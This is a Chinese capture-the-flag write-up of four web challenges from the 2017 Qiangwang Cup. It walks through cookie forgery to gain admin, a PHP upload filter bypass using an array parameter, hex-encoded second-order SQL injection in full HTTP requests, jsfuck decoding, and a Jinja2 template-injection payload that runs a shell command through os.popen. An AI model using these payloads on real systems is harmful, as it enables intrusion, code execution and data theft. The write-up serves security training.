2017强网杯 web部分题解

0x01 我是谁,我在哪,我要做什么?

##### 1.1 题目连接

http://106.75.72.168:2222/
1.2分析

题目提示没有权限

Sorry. You have no permissions.

burp抓包,看到cookie中有role

GET / HTTP/1.1
Host: 106.75.72.168:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: role=Zjo1OiJ0aHJmZyI7
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

‘Zjo1OiJ0aHJmZyI7’base64后’f:5:”thrfg”;’

使用ROT13解密可以得到是guest,将其更换为admin并逆回去,’Zjo1OiJucXp2YSI7’就可以登录成功.

这是登录成功后的源码:


<html>
<head>
    <title>title>
head>
<body>
Hello admin, now you can upload something you are easy to forget.body>
html>

看到这是一个类似上传的操作,使用POST将

filename=hh.php&data= phpinfo(); ?>

传入会出现:


<html>
    <head>
        <title>title>
    head>
    <body>
No No No!

写入文件除了fopen fwrite fclose 还有一种file_put_contents 这个允许data是数组 (不能是多维数组);

所以改为:

filename=hh.php&data[]= phpinfo(); ?>


<html>
    <head>
        <title>title>
    head>
    <body>
your file is in ./uploads/ccd4293789bd66e5a5e628965bc9e24722.phpbody>
html>

访问这个地址就可以得到flag.

0x02 phone number

2.1 题目链接
http://106.75.72.168:3333
2.2 分析

简单分析,没有敏感信息泄漏(没有备份文件,http请求头正常…),检查是否存在注入,基础手动注入流程:http://blog.csdn.net/hardhard123/article/details/79653422

经测试注册里面输入手机号的地方存在注入(由于该输入框只识别数字,所以需要将sql注入语句转换成十六进制),是整数型的二次注入;

二次注入:利用代码写入数据库,在第二次或者多次调用攻击代码绕过过滤执行的注入;

check.php源码中的提示:


<html>
<head>
    <title>Checktitle>
head>
<body>
<div class="text" style=" text-align:center;">There only 4 people use the same phone as youdiv>
body>
html>
2.2.1 获取数据库版本和数据库中数据

使用burp进行注入;

POST /register.php HTTP/1.1
Host: 106.75.72.168:3333
Content-Length: 213
Cache-Control: max-age=0
Origin: http://106.75.72.168:3333
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://106.75.72.168:3333/register.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: role=Zjo1OiJucXp2YSI7; PHPSESSID=ck62pre97tbkb4s4bud143u611
Connection: close

username=qa1&password=123456&phone=0x3120756e696f6e2073656c6563742067726f75705f636f6e6361742876657273696f6e28292c736368656d615f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461202d2d2027

可知是mysql数据库,有一个webdb数据库.

2.2.2 获取webdb库中user表数据

前面的手动注入,可以根据上面的网址进行注入操作,这里不做展示.

1 union select group_concat(username,phone) from user where username='admin' -- '
POST /register.php HTTP/1.1
Host: 106.75.72.168:3333
Content-Length: 201
Cache-Control: max-age=0
Origin: http://106.75.72.168:3333
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://106.75.72.168:3333/register.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: role=Zjo1OiJucXp2YSI7; PHPSESSID=ck62pre97tbkb4s4bud143u611
Connection: close

username=qa10   &password=123456&phone=0x3120756e696f6e2073656c6563742067726f75705f636f6e63617428757365726e616d652c70686f6e65292066726f6d207573657220776865726520757365726e616d653d2761646d696e27202d2d2027

获取到flag.

0x03 broken

3.1 题目链接

http://106.75.72.168:1111/

3.2 分析

点file链接,出现的是jsfuck编码的内容;

仔细观察,格式有错,开头少了],添加上后直接在https://codepen.io/saintjon/pen/KNPrZe 进行解码即可.

另外,直接在console里面执行却说’flag is not here.’这个jsfuck编码符合这样的格式:

eval        =>  []["filter"]["constructor"]( CODE )()

可以直接提取CODE部分在console中执行,同样可以得到flag.

0x04 Musee de X

4.1 题目链接
http://106.75.72.168:8888/
4.2 分析

通过查看中间件是flask框架.

注册后,进入donate模块,随便提交一个url,name必须为登录名,会得到报错信息,从信息中可知使用的是jinja2模板,确定为jinja2模板注入

报错路径:/var/www/html/museum/view.py in makememe



          if "http://" in url:

            image = urllib2.urlopen(url)

          else:

        url = "http://"+url

            image = urllib2.urlopen(url)

        except:

          return HttpResponse("Error: couldn't get to that URL: " + url + BACK)

        if int(image.headers["Content-Length"]) > 1024*1024:

     ...

          return HttpResponse("File too large")

        fn = get_next_file(username)

        open(fn,"w").write(image.read())

        text = jinja2.Template(text).render()

        print text

        add_text(fn,imghdr.what(fn),text)

text = jinja2.Template(text).render() 说明使用了jinja2.

从Local vars中看出用户名被当作text,也就是注入点,所以需要注册用户名为payload的用户,然后需要准备一张黑色图片,来接收回显的信息(http://pic.58pic.com/58pic/17/28/21/24d58PICqnU_1024.jpg).

payload:

aa{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}} 1

你可能感兴趣的:(CTF)